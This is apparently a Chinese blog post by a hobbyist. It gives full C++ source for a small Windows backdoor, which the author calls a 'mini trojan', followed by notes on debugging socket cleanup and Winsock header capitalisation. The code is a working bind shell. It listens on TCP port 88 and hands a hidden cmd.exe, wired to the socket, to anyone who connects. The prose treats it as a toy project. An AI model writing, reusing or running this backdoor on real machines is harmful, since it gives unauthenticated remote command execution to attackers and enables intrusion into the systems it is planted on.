#include "iostream"
#include "WinSock2.h"
#include "windows.h"
#pragma comment(lib,"WS2_32.LIB")
using namespace std;
int main()
{
//////////////////////////////////////////////////////////////////////////定義
SOCKET Ssocket,Csocket;
WSADATA wsa;
int sockaddlen;
PROCESS_INFORMATION processinfo;
STARTUPINFO startupinfo;
char szCMD[256];
sockaddr_in addr;
//////////////////////////////////////////////////////////////////////////初始化
ZeroMemory(&processinfo,sizeof(PROCESS_INFORMATION));
ZeroMemory(&startupinfo,sizeof(STARTUPINFO));
ZeroMemory(&wsa,sizeof(WSADATA));
GetEnvironmentVariable("COMSPEC",szCMD,sizeof(szCMD));
WSAStartup(0x0202,&wsa);
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=INADDR_ANY;
addr.sin_port=htons(88);
//Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//Csocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//////////////////////////////////////////////////////////////////////////創建連接
if (bind(Csocket,(SOCKADDR *)&addr,sizeof(addr))!=SOCKET_ERROR)
{
cout<<"綁定成功"<<endl;
if (listen(Csocket,1)!=SOCKET_ERROR)
{
cout<<"監聽成功"<<endl;
sockaddlen=sizeof(addr);
Ssocket=accept(Csocket,(sockaddr *)&addr,&sockaddlen);
startupinfo.cb=sizeof(STARTUPINFO);
startupinfo.wShowWindow=SW_HIDE;
startupinfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
startupinfo.hStdError=(HANDLE)Ssocket;
startupinfo.hStdInput=(HANDLE)Ssocket;
startupinfo.hStdOutput=(HANDLE)Ssocket;
CreateProcess(NULL,szCMD,NULL,NULL,TRUE,0,NULL,NULL,&startupinfo,&processinfo);
WaitForSingleObject(processinfo.hProcess,INFINITE);
CloseHandle(processinfo.hProcess);
CloseHandle(processinfo.hThread);
}
closesocket(Csocket);
closesocket(Ssocket);
}
return 0;
}
今天無聊,寫了個mini木馬玩,結尾沒寫CloseHandle()和closesocket(),像我一向不怎麼寫這個東東的,回收啊,之類的,可是運行了幾遍之後,bind()和listen()始終都無法成功了,代碼沒錯,起初,我以爲是編譯器的問題,我清楚後重新生成,發現,還是不行,最後不得不用重啓計算機才得以正常,最後發現,就是沒有寫關閉和回收機制導致的,加了CloseHandle()和closesocket()後,運行了十幾遍,都很OK,還有一個點,我超級不明白的。。。感覺頭文件的大小寫一向來說都是不太重要的,結果今天就讓我遇到了這個奇葩的問題,#include"winsock2.h"和#include"WinSock2.h"基本上就是一樣的吧,一般都是直接用小寫,切換大小寫浪費時間啊,但是這次的程序超級蛋疼,我開始的時候2寫丟了,寫的頭文件是 #include“winsock.h”,因爲這個頭文件是存在的,跟2也有差不多的功能,編譯的時候就報錯,說WSASocket()是未聲明的標識符,也就是這個函數沒有頭文件,我就鬱悶了,最後看見了,是頭文件少個2,可是當我加了個2,我被嚇到了,66個錯誤,都是各種函數是未聲明標識符,比如什麼,bind啊,listen啊,accpet啊。。。。。。我就納悶了,糾結了半個多小時,一直以爲是編譯器問題,最後偶然的動作,改成了WinSock2.h,世界和平了。。。程序正常了。。。上網看了下,規範的寫法就是這樣,這就是不規範害死人啊。